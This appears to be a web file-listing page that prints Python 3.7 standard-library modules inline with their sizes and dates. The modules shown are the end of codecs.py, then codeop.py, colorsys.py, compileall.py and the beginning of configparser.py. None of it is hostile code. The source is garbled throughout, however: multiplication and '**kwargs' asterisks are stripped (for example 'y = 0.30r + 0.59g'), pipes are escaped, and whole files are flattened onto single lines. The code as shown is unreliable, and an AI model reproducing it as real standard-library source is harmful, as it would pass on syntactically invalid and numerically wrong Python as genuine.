line.splitlines(keepends=False)[0] break line0withend = lines[0] line0withoutend = lines[0].splitlines(keepends=False)[0] if line0withend != line0withoutend: # We really have a line end # Put the rest back together and keep it until the next call self.charbuffer = self._empty_charbuffer.join(lines[1:]) + \ self.charbuffer if keepends: line = line0withend else: line = line0withoutend break # we didn't get anything or this was our only try if not data or size is not None: if line and not keepends: line = line.splitlines(keepends=False)[0] break if readsize < 8000: readsize = 2 return line def readlines(self, sizehint=None, keepends=True): """ Read all lines available on the input stream and return them as a list. Line breaks are implemented using the codec's decoder method and are included in the list entries. sizehint, if given, is ignored since there is no efficient way to finding the true end-of-line. """ data = self.read() return data.splitlines(keepends) def reset(self): """ Resets the codec buffers used for keeping state. Note that no stream repositioning should take place. This method is primarily intended to be able to recover from decoding errors. """ self.bytebuffer = b"" self.charbuffer = self._empty_charbuffer self.linebuffer = None def seek(self, offset, whence=0): """ Set the input stream's current position. Resets the codec buffers used for keeping state. """ self.stream.seek(offset, whence) self.reset() def __next__(self): """ Return the next decoded line from the input stream.""" line = self.readline() if line: return line raise StopIteration def __iter__(self): return self def __getattr__(self, name, getattr=getattr): """ Inherit all other methods from the underlying stream. """ return getattr(self.stream, name) def __enter__(self): return self def __exit__(self, type, value, tb): self.stream.close() ### class StreamReaderWriter: """ StreamReaderWriter instances allow wrapping streams which work in both read and write modes. The design is such that one can use the factory functions returned by the codec.lookup() function to construct the instance. """ # Optional attributes set by the file wrappers below encoding = 'unknown' def __init__(self, stream, Reader, Writer, errors='strict'): """ Creates a StreamReaderWriter instance. stream must be a Stream-like object. Reader, Writer must be factory functions or classes providing the StreamReader, StreamWriter interface resp. Error handling is done in the same way as defined for the StreamWriter/Readers. """ self.stream = stream self.reader = Reader(stream, errors) self.writer = Writer(stream, errors) self.errors = errors def read(self, size=-1): return self.reader.read(size) def readline(self, size=None): return self.reader.readline(size) def readlines(self, sizehint=None): return self.reader.readlines(sizehint) def __next__(self): """ Return the next decoded line from the input stream.""" return next(self.reader) def __iter__(self): return self def write(self, data): return self.writer.write(data) def writelines(self, list): return self.writer.writelines(list) def reset(self): self.reader.reset() self.writer.reset() def seek(self, offset, whence=0): self.stream.seek(offset, whence) self.reader.reset() if whence == 0 and offset == 0: self.writer.reset() def __getattr__(self, name, getattr=getattr): """ Inherit all other methods from the underlying stream. """ return getattr(self.stream, name) # these are needed to make "with StreamReaderWriter(...)" work properly def __enter__(self): return self def __exit__(self, type, value, tb): self.stream.close() ### class StreamRecoder: """ StreamRecoder instances translate data from one encoding to another. They use the complete set of APIs returned by the codecs.lookup() function to implement their task. Data written to the StreamRecoder is first decoded into an intermediate format (depending on the "decode" codec) and then written to the underlying stream using an instance of the provided Writer class. In the other direction, data is read from the underlying stream using a Reader instance and then encoded and returned to the caller. """ # Optional attributes set by the file wrappers below data_encoding = 'unknown' file_encoding = 'unknown' def __init__(self, stream, encode, decode, Reader, Writer, errors='strict'): """ Creates a StreamRecoder instance which implements a two-way conversion: encode and decode work on the frontend (the data visible to .read() and .write()) while Reader and Writer work on the backend (the data in stream). You can use these objects to do transparent transcodings from e.g. latin-1 to utf-8 and back. stream must be a file-like object. encode and decode must adhere to the Codec interface; Reader and Writer must be factory functions or classes providing the StreamReader and StreamWriter interfaces resp. Error handling is done in the same way as defined for the StreamWriter/Readers. """ self.stream = stream self.encode = encode self.decode = decode self.reader = Reader(stream, errors) self.writer = Writer(stream, errors) self.errors = errors def read(self, size=-1): data = self.reader.read(size) data, bytesencoded = self.encode(data, self.errors) return data def readline(self, size=None): if size is None: data = self.reader.readline() else: data = self.reader.readline(size) data, bytesencoded = self.encode(data, self.errors) return data def readlines(self, sizehint=None): data = self.reader.read() data, bytesencoded = self.encode(data, self.errors) return data.splitlines(keepends=True) def __next__(self): """ Return the next decoded line from the input stream.""" data = next(self.reader) data, bytesencoded = self.encode(data, self.errors) return data def __iter__(self): return self def write(self, data): data, bytesdecoded = self.decode(data, self.errors) return self.writer.write(data) def writelines(self, list): data = b''.join(list) data, bytesdecoded = self.decode(data, self.errors) return self.writer.write(data) def reset(self): self.reader.reset() self.writer.reset() def seek(self, offset, whence=0): # Seeks must be propagated to both the readers and writers # as they might need to reset their internal buffers. self.reader.seek(offset, whence) self.writer.seek(offset, whence) def __getattr__(self, name, getattr=getattr): """ Inherit all other methods from the underlying stream. """ return getattr(self.stream, name) def __enter__(self): return self def __exit__(self, type, value, tb): self.stream.close() ### Shortcuts def open(filename, mode='r', encoding=None, errors='strict', buffering=1): """ Open an encoded file using the given mode and return a wrapped version providing transparent encoding/decoding. Note: The wrapped version will only accept the object format defined by the codecs, i.e. Unicode objects for most builtin codecs. Output is also codec dependent and will usually be Unicode as well. Underlying encoded files are always opened in binary mode. The default file mode is 'r', meaning to open the file in read mode. encoding specifies the encoding which is to be used for the file. errors may be given to define the error handling. It defaults to 'strict' which causes ValueErrors to be raised in case an encoding error occurs. buffering has the same meaning as for the builtin open() API. It defaults to line buffered. The returned wrapped file object provides an extra attribute .encoding which allows querying the used encoding. This attribute is only available if an encoding was specified as parameter. """ if encoding is not None and \ 'b' not in mode: # Force opening of the file in binary mode mode = mode + 'b' file = builtins.open(filename, mode, buffering) if encoding is None: return file try: info = lookup(encoding) srw = StreamReaderWriter(file, info.streamreader, info.streamwriter, errors) # Add attributes to simplify introspection srw.encoding = encoding return srw except: file.close() raise def EncodedFile(file, data_encoding, file_encoding=None, errors='strict'): """ Return a wrapped version of file which provides transparent encoding translation. Data written to the wrapped file is decoded according to the given data_encoding and then encoded to the underlying file using file_encoding. The intermediate data type will usually be Unicode but depends on the specified codecs. Bytes read from the file are decoded using file_encoding and then passed back to the caller encoded using data_encoding. If file_encoding is not given, it defaults to data_encoding. errors may be given to define the error handling. It defaults to 'strict' which causes ValueErrors to be raised in case an encoding error occurs. The returned wrapped file object provides two extra attributes .data_encoding and .file_encoding which reflect the given parameters of the same name. The attributes can be used for introspection by Python programs. """ if file_encoding is None: file_encoding = data_encoding data_info = lookup(data_encoding) file_info = lookup(file_encoding) sr = StreamRecoder(file, data_info.encode, data_info.decode, file_info.streamreader, file_info.streamwriter, errors) # Add attributes to simplify introspection sr.data_encoding = data_encoding sr.file_encoding = file_encoding return sr ### Helpers for codec lookup def getencoder(encoding): """ Lookup up the codec for the given encoding and return its encoder function. Raises a LookupError in case the encoding cannot be found. """ return lookup(encoding).encode def getdecoder(encoding): """ Lookup up the codec for the given encoding and return its decoder function. Raises a LookupError in case the encoding cannot be found. """ return lookup(encoding).decode def getincrementalencoder(encoding): """ Lookup up the codec for the given encoding and return its IncrementalEncoder class or factory function. Raises a LookupError in case the encoding cannot be found or the codecs doesn't provide an incremental encoder. """ encoder = lookup(encoding).incrementalencoder if encoder is None: raise LookupError(encoding) return encoder def getincrementaldecoder(encoding): """ Lookup up the codec for the given encoding and return its IncrementalDecoder class or factory function. Raises a LookupError in case the encoding cannot be found or the codecs doesn't provide an incremental decoder. """ decoder = lookup(encoding).incrementaldecoder if decoder is None: raise LookupError(encoding) return decoder def getreader(encoding): """ Lookup up the codec for the given encoding and return its StreamReader class or factory function. Raises a LookupError in case the encoding cannot be found. """ return lookup(encoding).streamreader def getwriter(encoding): """ Lookup up the codec for the given encoding and return its StreamWriter class or factory function. Raises a LookupError in case the encoding cannot be found. """ return lookup(encoding).streamwriter def iterencode(iterator, encoding, errors='strict', kwargs): """ Encoding iterator. Encodes the input strings from the iterator using an IncrementalEncoder. errors and kwargs are passed through to the IncrementalEncoder constructor. """ encoder = getincrementalencoder(encoding)(errors, kwargs) for input in iterator: output = encoder.encode(input) if output: yield output output = encoder.encode("", True) if output: yield output def iterdecode(iterator, encoding, errors='strict', kwargs): """ Decoding iterator. Decodes the input strings from the iterator using an IncrementalDecoder. errors and kwargs are passed through to the IncrementalDecoder constructor. """ decoder = getincrementaldecoder(encoding)(errors, kwargs) for input in iterator: output = decoder.decode(input) if output: yield output output = decoder.decode(b"", True) if output: yield output ### Helpers for charmap-based codecs def make_identity_dict(rng): """ make_identity_dict(rng) -> dict Return a dictionary where elements of the rng sequence are mapped to themselves. """ return {i:i for i in rng} def make_encoding_map(decoding_map): """ Creates an encoding map from a decoding map. If a target mapping in the decoding map occurs multiple times, then that target is mapped to None (undefined mapping), causing an exception when encountered by the charmap codec during translation. One example where this happens is cp875.py which decodes multiple character to \\u001a. """ m = {} for k,v in decoding_map.items(): if not v in m: m[v] = k else: m[v] = None return m ### error handlers try: strict_errors = lookup_error("strict") ignore_errors = lookup_error("ignore") replace_errors = lookup_error("replace") xmlcharrefreplace_errors = lookup_error("xmlcharrefreplace") backslashreplace_errors = lookup_error("backslashreplace") namereplace_errors = lookup_error("namereplace") except LookupError: # In --disable-unicode builds, these error handler are missing strict_errors = None ignore_errors = None replace_errors = None xmlcharrefreplace_errors = None backslashreplace_errors = None namereplace_errors = None # Tell modulefinder that using codecs probably needs the encodings # package _false = 0 if _false: import encodings ### Tests if __name__ == '__main__': # Make stdout translate Latin-1 output into UTF-8 output sys.stdout = EncodedFile(sys.stdout, 'latin-1', 'utf-8') # Have stdin translate Latin-1 input into UTF-8 input sys.stdin = EncodedFile(sys.stdin, 'utf-8', 'latin-1')	35.76 KB	2024-04-17 17:55
📄 codeop.py r"""Utilities to compile possibly incomplete Python source code. This module provides two interfaces, broadly similar to the builtin function compile(), which take program text, a filename and a 'mode' and: - Return code object if the command is complete and valid - Return None if the command is incomplete - Raise SyntaxError, ValueError or OverflowError if the command is a syntax error (OverflowError and ValueError can be produced by malformed literals). Approach: First, check if the source consists entirely of blank lines and comments; if so, replace it with 'pass', because the built-in parser doesn't always do the right thing for these. Compile three times: as is, with \n, and with \n\n appended. If it compiles as is, it's complete. If it compiles with one \n appended, we expect more. If it doesn't compile either way, we compare the error we get when compiling with \n or \n\n appended. If the errors are the same, the code is broken. But if the errors are different, we expect more. Not intuitive; not even guaranteed to hold in future releases; but this matches the compiler's behavior from Python 1.4 through 2.2, at least. Caveat: It is possible (but not likely) that the parser stops parsing with a successful outcome before reaching the end of the source; in this case, trailing symbols may be ignored instead of causing an error. For example, a backslash followed by two newlines may be followed by arbitrary garbage. This will be fixed once the API for the parser is better. The two interfaces are: compile_command(source, filename, symbol): Compiles a single command in the manner described above. CommandCompiler(): Instances of this class have __call__ methods identical in signature to compile_command; the difference is that if the instance compiles program text containing a __future__ statement, the instance 'remembers' and compiles all subsequent program texts with the statement in force. The module also provides another class: Compile(): Instances of this class act like the built-in function compile, but with 'memory' in the sense described above. """ import __future__ import warnings _features = [getattr(__future__, fname) for fname in __future__.all_feature_names] __all__ = ["compile_command", "Compile", "CommandCompiler"] PyCF_DONT_IMPLY_DEDENT = 0x200 # Matches pythonrun.h def _maybe_compile(compiler, source, filename, symbol): # Check for source consisting of only blank lines and comments for line in source.split("\n"): line = line.strip() if line and line[0] != '#': break # Leave it alone else: if symbol != "eval": source = "pass" # Replace it with a 'pass' statement err = err1 = err2 = None code = code1 = code2 = None try: code = compiler(source, filename, symbol) except SyntaxError as err: pass # Suppress warnings after the first compile to avoid duplication. with warnings.catch_warnings(): warnings.simplefilter("ignore") try: code1 = compiler(source + "\n", filename, symbol) except SyntaxError as e: err1 = e try: code2 = compiler(source + "\n\n", filename, symbol) except SyntaxError as e: err2 = e try: if code: return code if not code1 and repr(err1) == repr(err2): raise err1 finally: err1 = err2 = None def _compile(source, filename, symbol): return compile(source, filename, symbol, PyCF_DONT_IMPLY_DEDENT) def compile_command(source, filename="<input>", symbol="single"): r"""Compile a command and determine whether it is incomplete. Arguments: source -- the source string; may contain \n characters filename -- optional filename from which source was read; default "<input>" symbol -- optional grammar start symbol; "single" (default), "exec" or "eval" Return value / exceptions raised: - Return a code object if the command is complete and valid - Return None if the command is incomplete - Raise SyntaxError, ValueError or OverflowError if the command is a syntax error (OverflowError and ValueError can be produced by malformed literals). """ return _maybe_compile(_compile, source, filename, symbol) class Compile: """Instances of this class behave much like the built-in compile function, but if one is used to compile text containing a future statement, it "remembers" and compiles all subsequent program texts with the statement in force.""" def __init__(self): self.flags = PyCF_DONT_IMPLY_DEDENT def __call__(self, source, filename, symbol): codeob = compile(source, filename, symbol, self.flags, 1) for feature in _features: if codeob.co_flags & feature.compiler_flag: self.flags \|= feature.compiler_flag return codeob class CommandCompiler: """Instances of this class have __call__ methods identical in signature to compile_command; the difference is that if the instance compiles program text containing a __future__ statement, the instance 'remembers' and compiles all subsequent program texts with the statement in force.""" def __init__(self,): self.compiler = Compile() def __call__(self, source, filename="<input>", symbol="single"): r"""Compile a command and determine whether it is incomplete. Arguments: source -- the source string; may contain \n characters filename -- optional filename from which source was read; default "<input>" symbol -- optional grammar start symbol; "single" (default) or "eval" Return value / exceptions raised: - Return a code object if the command is complete and valid - Return None if the command is incomplete - Raise SyntaxError, ValueError or OverflowError if the command is a syntax error (OverflowError and ValueError can be produced by malformed literals). """ return _maybe_compile(self.compiler, source, filename, symbol)	6.13 KB	2024-04-17 17:55
📁 collections	-	2025-10-13 08:00
📄 colorsys.py """Conversion functions between RGB and other color systems. This modules provides two functions for each color system ABC: rgb_to_abc(r, g, b) --> a, b, c abc_to_rgb(a, b, c) --> r, g, b All inputs and outputs are triples of floats in the range [0.0...1.0] (with the exception of I and Q, which covers a slightly larger range). Inputs outside the valid range may cause exceptions or invalid outputs. Supported color systems: RGB: Red, Green, Blue components YIQ: Luminance, Chrominance (used by composite video signals) HLS: Hue, Luminance, Saturation HSV: Hue, Saturation, Value """ # References: # http://en.wikipedia.org/wiki/YIQ # http://en.wikipedia.org/wiki/HLS_color_space # http://en.wikipedia.org/wiki/HSV_color_space __all__ = ["rgb_to_yiq","yiq_to_rgb","rgb_to_hls","hls_to_rgb", "rgb_to_hsv","hsv_to_rgb"] # Some floating point constants ONE_THIRD = 1.0/3.0 ONE_SIXTH = 1.0/6.0 TWO_THIRD = 2.0/3.0 # YIQ: used by composite video signals (linear combinations of RGB) # Y: perceived grey level (0.0 == black, 1.0 == white) # I, Q: color components # # There are a great many versions of the constants used in these formulae. # The ones in this library uses constants from the FCC version of NTSC. def rgb_to_yiq(r, g, b): y = 0.30r + 0.59g + 0.11b i = 0.74(r-y) - 0.27(b-y) q = 0.48(r-y) + 0.41(b-y) return (y, i, q) def yiq_to_rgb(y, i, q): # r = y + (0.27q + 0.41i) / (0.740.41 + 0.270.48) # b = y + (0.74q - 0.48i) / (0.740.41 + 0.270.48) # g = y - (0.30(r-y) + 0.11(b-y)) / 0.59 r = y + 0.9468822170900693i + 0.6235565819861433q g = y - 0.27478764629897834i - 0.6356910791873801q b = y - 1.1085450346420322i + 1.7090069284064666q if r < 0.0: r = 0.0 if g < 0.0: g = 0.0 if b < 0.0: b = 0.0 if r > 1.0: r = 1.0 if g > 1.0: g = 1.0 if b > 1.0: b = 1.0 return (r, g, b) # HLS: Hue, Luminance, Saturation # H: position in the spectrum # L: color lightness # S: color saturation def rgb_to_hls(r, g, b): maxc = max(r, g, b) minc = min(r, g, b) # XXX Can optimize (maxc+minc) and (maxc-minc) l = (minc+maxc)/2.0 if minc == maxc: return 0.0, l, 0.0 if l <= 0.5: s = (maxc-minc) / (maxc+minc) else: s = (maxc-minc) / (2.0-maxc-minc) rc = (maxc-r) / (maxc-minc) gc = (maxc-g) / (maxc-minc) bc = (maxc-b) / (maxc-minc) if r == maxc: h = bc-gc elif g == maxc: h = 2.0+rc-bc else: h = 4.0+gc-rc h = (h/6.0) % 1.0 return h, l, s def hls_to_rgb(h, l, s): if s == 0.0: return l, l, l if l <= 0.5: m2 = l (1.0+s) else: m2 = l+s-(ls) m1 = 2.0l - m2 return (_v(m1, m2, h+ONE_THIRD), _v(m1, m2, h), _v(m1, m2, h-ONE_THIRD)) def _v(m1, m2, hue): hue = hue % 1.0 if hue < ONE_SIXTH: return m1 + (m2-m1)hue6.0 if hue < 0.5: return m2 if hue < TWO_THIRD: return m1 + (m2-m1)(TWO_THIRD-hue)6.0 return m1 # HSV: Hue, Saturation, Value # H: position in the spectrum # S: color saturation ("purity") # V: color brightness def rgb_to_hsv(r, g, b): maxc = max(r, g, b) minc = min(r, g, b) v = maxc if minc == maxc: return 0.0, 0.0, v s = (maxc-minc) / maxc rc = (maxc-r) / (maxc-minc) gc = (maxc-g) / (maxc-minc) bc = (maxc-b) / (maxc-minc) if r == maxc: h = bc-gc elif g == maxc: h = 2.0+rc-bc else: h = 4.0+gc-rc h = (h/6.0) % 1.0 return h, s, v def hsv_to_rgb(h, s, v): if s == 0.0: return v, v, v i = int(h6.0) # XXX assume int() truncates! f = (h6.0) - i p = v(1.0 - s) q = v(1.0 - sf) t = v(1.0 - s*(1.0-f)) i = i%6 if i == 0: return v, t, p if i == 1: return q, v, p if i == 2: return p, v, t if i == 3: return p, q, v if i == 4: return t, p, v if i == 5: return v, p, q # Cannot get here	3.97 KB	2024-04-17 17:55
📄 compileall.py """Module/script to byte-compile all .py files to .pyc files. When called as a script with arguments, this compiles the directories given as arguments recursively; the -l option prevents it from recursing into directories. Without arguments, if compiles all modules on sys.path, without recursing into subdirectories. (Even though it should do so for packages -- for now, you'll have to deal with packages separately.) See module py_compile for details of the actual byte-compilation. """ import os import sys import importlib.util import py_compile import struct from functools import partial __all__ = ["compile_dir","compile_file","compile_path"] def _walk_dir(dir, ddir=None, maxlevels=10, quiet=0): if quiet < 2 and isinstance(dir, os.PathLike): dir = os.fspath(dir) if not quiet: print('Listing {!r}...'.format(dir)) try: names = os.listdir(dir) except OSError: if quiet < 2: print("Can't list {!r}".format(dir)) names = [] names.sort() for name in names: if name == '__pycache__': continue fullname = os.path.join(dir, name) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if not os.path.isdir(fullname): yield fullname, ddir elif (maxlevels > 0 and name != os.curdir and name != os.pardir and os.path.isdir(fullname) and not os.path.islink(fullname)): yield from _walk_dir(fullname, ddir=dfile, maxlevels=maxlevels - 1, quiet=quiet) def compile_dir(dir, maxlevels=10, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1, workers=1, invalidation_mode=None): """Byte-compile all modules in the given directory tree. Arguments (only dir is required): dir: the directory to byte-compile maxlevels: maximum recursion level (default 10) ddir: the directory that will be prepended to the path to the file as it is compiled into each byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter workers: maximum number of parallel workers invalidation_mode: how the up-to-dateness of the pyc will be checked """ ProcessPoolExecutor = None if workers is not None: if workers < 0: raise ValueError('workers must be greater or equal to 0') elif workers != 1: try: # Only import when needed, as low resource platforms may # fail to import it from concurrent.futures import ProcessPoolExecutor except ImportError: workers = 1 files_and_ddirs = _walk_dir(dir, quiet=quiet, maxlevels=maxlevels, ddir=ddir) success = True if workers is not None and workers != 1 and ProcessPoolExecutor is not None: workers = workers or None with ProcessPoolExecutor(max_workers=workers) as executor: results = executor.map( partial(_compile_file_tuple, force=force, rx=rx, quiet=quiet, legacy=legacy, optimize=optimize, invalidation_mode=invalidation_mode, ), files_and_ddirs) success = min(results, default=True) else: for file, dfile in files_and_ddirs: if not compile_file(file, dfile, force, rx, quiet, legacy, optimize, invalidation_mode): success = False return success def _compile_file_tuple(file_and_dfile, kwargs): """Needs to be toplevel for ProcessPoolExecutor.""" file, dfile = file_and_dfile return compile_file(file, dfile, kwargs) def compile_file(fullname, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1, invalidation_mode=None): """Byte-compile one file. Arguments (only fullname is required): fullname: the file to byte-compile ddir: if given, the directory name compiled in to the byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter invalidation_mode: how the up-to-dateness of the pyc will be checked """ success = True if quiet < 2 and isinstance(fullname, os.PathLike): fullname = os.fspath(fullname) name = os.path.basename(fullname) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if rx is not None: mo = rx.search(fullname) if mo: return success if os.path.isfile(fullname): if legacy: cfile = fullname + 'c' else: if optimize >= 0: opt = optimize if optimize >= 1 else '' cfile = importlib.util.cache_from_source( fullname, optimization=opt) else: cfile = importlib.util.cache_from_source(fullname) cache_dir = os.path.dirname(cfile) head, tail = name[:-3], name[-3:] if tail == '.py': if not force: try: mtime = int(os.stat(fullname).st_mtime) expect = struct.pack('<4sll', importlib.util.MAGIC_NUMBER, 0, mtime) with open(cfile, 'rb') as chandle: actual = chandle.read(12) if expect == actual: return success except OSError: pass if not quiet: print('Compiling {!r}...'.format(fullname)) try: ok = py_compile.compile(fullname, cfile, dfile, True, optimize=optimize, invalidation_mode=invalidation_mode) except py_compile.PyCompileError as err: success = False if quiet >= 2: return success elif quiet: print('* Error compiling {!r}...'.format(fullname)) else: print('* ', end='') # escape non-printable characters in msg msg = err.msg.encode(sys.stdout.encoding, errors='backslashreplace') msg = msg.decode(sys.stdout.encoding) print(msg) except (SyntaxError, UnicodeError, OSError) as e: success = False if quiet >= 2: return success elif quiet: print('* Error compiling {!r}...'.format(fullname)) else: print('* ', end='') print(e.__class__.__name__ + ':', e) else: if ok == 0: success = False return success def compile_path(skip_curdir=1, maxlevels=0, force=False, quiet=0, legacy=False, optimize=-1, invalidation_mode=None): """Byte-compile all module on sys.path. Arguments (all optional): skip_curdir: if true, skip current directory (default True) maxlevels: max recursion level (default 0) force: as for compile_dir() (default False) quiet: as for compile_dir() (default 0) legacy: as for compile_dir() (default False) optimize: as for compile_dir() (default -1) invalidation_mode: as for compiler_dir() """ success = True for dir in sys.path: if (not dir or dir == os.curdir) and skip_curdir: if quiet < 2: print('Skipping current directory') else: success = success and compile_dir( dir, maxlevels, None, force, quiet=quiet, legacy=legacy, optimize=optimize, invalidation_mode=invalidation_mode, ) return success def main(): """Script main program.""" import argparse parser = argparse.ArgumentParser( description='Utilities to support installing Python libraries.') parser.add_argument('-l', action='store_const', const=0, default=10, dest='maxlevels', help="don't recurse into subdirectories") parser.add_argument('-r', type=int, dest='recursion', help=('control the maximum recursion level. ' 'if `-l` and `-r` options are specified, ' 'then `-r` takes precedence.')) parser.add_argument('-f', action='store_true', dest='force', help='force rebuild even if timestamps are up to date') parser.add_argument('-q', action='count', dest='quiet', default=0, help='output only error messages; -qq will suppress ' 'the error messages as well.') parser.add_argument('-b', action='store_true', dest='legacy', help='use legacy (pre-PEP3147) compiled file locations') parser.add_argument('-d', metavar='DESTDIR', dest='ddir', default=None, help=('directory to prepend to file paths for use in ' 'compile-time tracebacks and in runtime ' 'tracebacks in cases where the source file is ' 'unavailable')) parser.add_argument('-x', metavar='REGEXP', dest='rx', default=None, help=('skip files matching the regular expression; ' 'the regexp is searched for in the full path ' 'of each file considered for compilation')) parser.add_argument('-i', metavar='FILE', dest='flist', help=('add all the files and directories listed in ' 'FILE to the list considered for compilation; ' 'if "-", names are read from stdin')) parser.add_argument('compile_dest', metavar='FILE\|DIR', nargs='*', help=('zero or more file and directory names ' 'to compile; if no arguments given, defaults ' 'to the equivalent of -l sys.path')) parser.add_argument('-j', '--workers', default=1, type=int, help='Run compileall concurrently') invalidation_modes = [mode.name.lower().replace('_', '-') for mode in py_compile.PycInvalidationMode] parser.add_argument('--invalidation-mode', choices=sorted(invalidation_modes), help=('set .pyc invalidation mode; defaults to ' '"checked-hash" if the SOURCE_DATE_EPOCH ' 'environment variable is set, and ' '"timestamp" otherwise.')) args = parser.parse_args() compile_dests = args.compile_dest if args.rx: import re args.rx = re.compile(args.rx) if args.recursion is not None: maxlevels = args.recursion else: maxlevels = args.maxlevels # if flist is provided then load it if args.flist: try: with (sys.stdin if args.flist=='-' else open(args.flist)) as f: for line in f: compile_dests.append(line.strip()) except OSError: if args.quiet < 2: print("Error reading file list {}".format(args.flist)) return False if args.workers is not None: args.workers = args.workers or None if args.invalidation_mode: ivl_mode = args.invalidation_mode.replace('-', '_').upper() invalidation_mode = py_compile.PycInvalidationMode[ivl_mode] else: invalidation_mode = None success = True try: if compile_dests: for dest in compile_dests: if os.path.isfile(dest): if not compile_file(dest, args.ddir, args.force, args.rx, args.quiet, args.legacy, invalidation_mode=invalidation_mode): success = False else: if not compile_dir(dest, maxlevels, args.ddir, args.force, args.rx, args.quiet, args.legacy, workers=args.workers, invalidation_mode=invalidation_mode): success = False return success else: return compile_path(legacy=args.legacy, force=args.force, quiet=args.quiet, invalidation_mode=invalidation_mode) except KeyboardInterrupt: if args.quiet < 2: print("\n[interrupted]") return False return True if __name__ == '__main__': exit_status = int(not main()) sys.exit(exit_status)	13.46 KB	2024-04-17 17:55
📁 concurrent	-	2025-10-13 08:00
📁 config-3.7m	-	2025-10-13 08:00
📄 configparser.py """Configuration file parser. A configuration file consists of sections, lead by a "[section]" header, and followed by "name: value" entries, with continuations and such in the style of RFC 822. Intrinsic defaults can be specified by passing them into the ConfigParser constructor as a dictionary. class: ConfigParser -- responsible for parsing a list of configuration files, and managing the parsed database. methods: __init__(defaults=None, dict_type=_default_dict, allow_no_value=False, delimiters=('=', ':'), comment_prefixes=('#', ';'), inline_comment_prefixes=None, strict=True, empty_lines_in_values=True, default_section='DEFAULT', interpolation=<unset>, converters=<unset>): Create the parser. When `defaults' is given, it is initialized into the dictionary or intrinsic defaults. The keys must be strings, the values must be appropriate for %()s string interpolation. When `dict_type' is given, it will be used to create the dictionary objects for the list of sections, for the options within a section, and for the default values. When `delimiters' is given, it will be used as the set of substrings that divide keys from values. When `comment_prefixes' is given, it will be used as the set of substrings that prefix comments in empty lines. Comments can be indented. When `inline_comment_prefixes' is given, it will be used as the set of substrings that prefix comments in non-empty lines. When `strict` is True, the parser won't allow for any section or option duplicates while reading from a single source (file, string or dictionary). Default is True. When `empty_lines_in_values' is False (default: True), each empty line marks the end of an option. Otherwise, internal empty lines of a multiline option are kept as part of the value. When `allow_no_value' is True (default: False), options without values are accepted; the value presented for these is None. When `default_section' is given, the name of the special section is named accordingly. By default it is called ``"DEFAULT"`` but this can be customized to point to any other valid section name. Its current value can be retrieved using the ``parser_instance.default_section`` attribute and may be modified at runtime. When `interpolation` is given, it should be an Interpolation subclass instance. It will be used as the handler for option value pre-processing when using getters. RawConfigParser object s don't do any sort of interpolation, whereas ConfigParser uses an instance of BasicInterpolation. The library also provides a ``zc.buildbot`` inspired ExtendedInterpolation implementation. When `converters` is given, it should be a dictionary where each key represents the name of a type converter and each value is a callable implementing the conversion from string to the desired datatype. Every converter gets its corresponding get() method on the parser object and section proxies. sections() Return all the configuration section names, sans DEFAULT. has_section(section) Return whether the given section exists. has_option(section, option) Return whether the given option exists in the given section. options(section) Return list of configuration options for the named section. read(filenames, encoding=None) Read and parse the iterable of named configuration files, given by name. A single filename is also allowed. Non-existing files are ignored. Return list of successfully read files. read_file(f, filename=None) Read and parse one configuration file, given as a file object. The filename defaults to f.name; it is only used in error messages (if f has no `name' attribute, the string `<???>' is used). read_string(string) Read configuration from a given string. read_dict(dictionary) Read configuration from a dictionary. Keys are section names, values are dictionaries with keys and values that should be present in the section. If the used dictionary type preserves order, sections and their keys will be added in order. Values are automatically converted to strings. get(section, option, raw=False, vars=None, fallback=_UNSET) Return a string value for the named option. All % interpolations are expanded in the return values, based on the defaults passed into the constructor and the DEFAULT section. Additional substitutions may be provided using the `vars' argument, which must be a dictionary whose contents override any pre-existing defaults. If `option' is a key in `vars', the value from `vars' is used. getint(section, options, raw=False, vars=None, fallback=_UNSET) Like get(), but convert value to an integer. getfloat(section, options, raw=False, vars=None, fallback=_UNSET) Like get(), but convert value to a float. getboolean(section, options, raw=False, vars=None, fallback=_UNSET) Like get(), but convert value to a boolean (currently case insensitively defined as 0, false, no, off for False, and 1, true, yes, on for True). Returns False or True. items(section=_UNSET, raw=False, vars=None) If section is given, return a list of tuples with (name, value) for each option in the section. Otherwise, return a list of tuples with (section_name, section_proxy) for each section, including DEFAULTSECT. remove_section(section) Remove the given file section and all its options. remove_option(section, option) Remove the given option from the given section. set(section, option, value) Set the given option. write(fp, space_around_delimiters=True) Write the configuration state in .ini format. If `space_around_delimiters' is True (the default), delimiters between keys and values are surrounded by spaces. """ from collections.abc import MutableMapping from collections import OrderedDict as _default_dict, ChainMap as _ChainMap import functools import io import itertools import os import re import sys import warnings __all__ = ["NoSectionError", "DuplicateOptionError", "DuplicateSectionError", "NoOptionError", "InterpolationError", "InterpolationDepthError", "InterpolationMissingOptionError", "InterpolationSyntaxError", "ParsingError", "MissingSectionHeaderError", "ConfigParser", "SafeConfigParser", "RawConfigParser", "Interpolation", "BasicInterpolation", "ExtendedInterpolation", "LegacyInterpolation", "SectionProxy", "ConverterMapping", "DEFAULTSECT", "MAX_INTERPOLATION_DEPTH"] DEFAULTSECT = "DEFAULT" MAX_INTERPOLATION_DEPTH = 10 # exception classes class Error(Exception): """Base class for ConfigParser exceptions.""" def __init__(self, msg=''): self.message = msg Exception.__init__(self, msg) def __repr__(self): return self.message __str__ = __repr__ class NoSectionError(Error): """Raised when no section matches a requested option.""" def __init__(self, section): Error.__init__(self, 'No section: %r' % (section,)) self.section = section self.args = (section, ) class DuplicateSectionError(Error): """Raised when a section is repeated in an input source. Possible repetitions that raise this exception are: multiple creation using the API or in strict parsers when a section is found more than once in a single input file, string or dictionary. """ def __init__(self, section, source=None, lineno=None): msg = [repr(section), " already exists"] if source is not None: message = ["While reading from ", repr(source)] if lineno is not None: message.append(" [line {0:2d}]".format(lineno)) message.append(": section ") message.extend(msg) msg = message else: msg.insert(0, "Section ") Error.__init__(self, "".join(msg)) self.section = section self.source = source self.lineno = lineno self.args = (section, source, lineno) class DuplicateOptionError(Error): """Raised by strict parsers when an option is repeated in an input source. Current implementation raises this exception only when an option is found more than once in a single file, string or dictionary. """ def 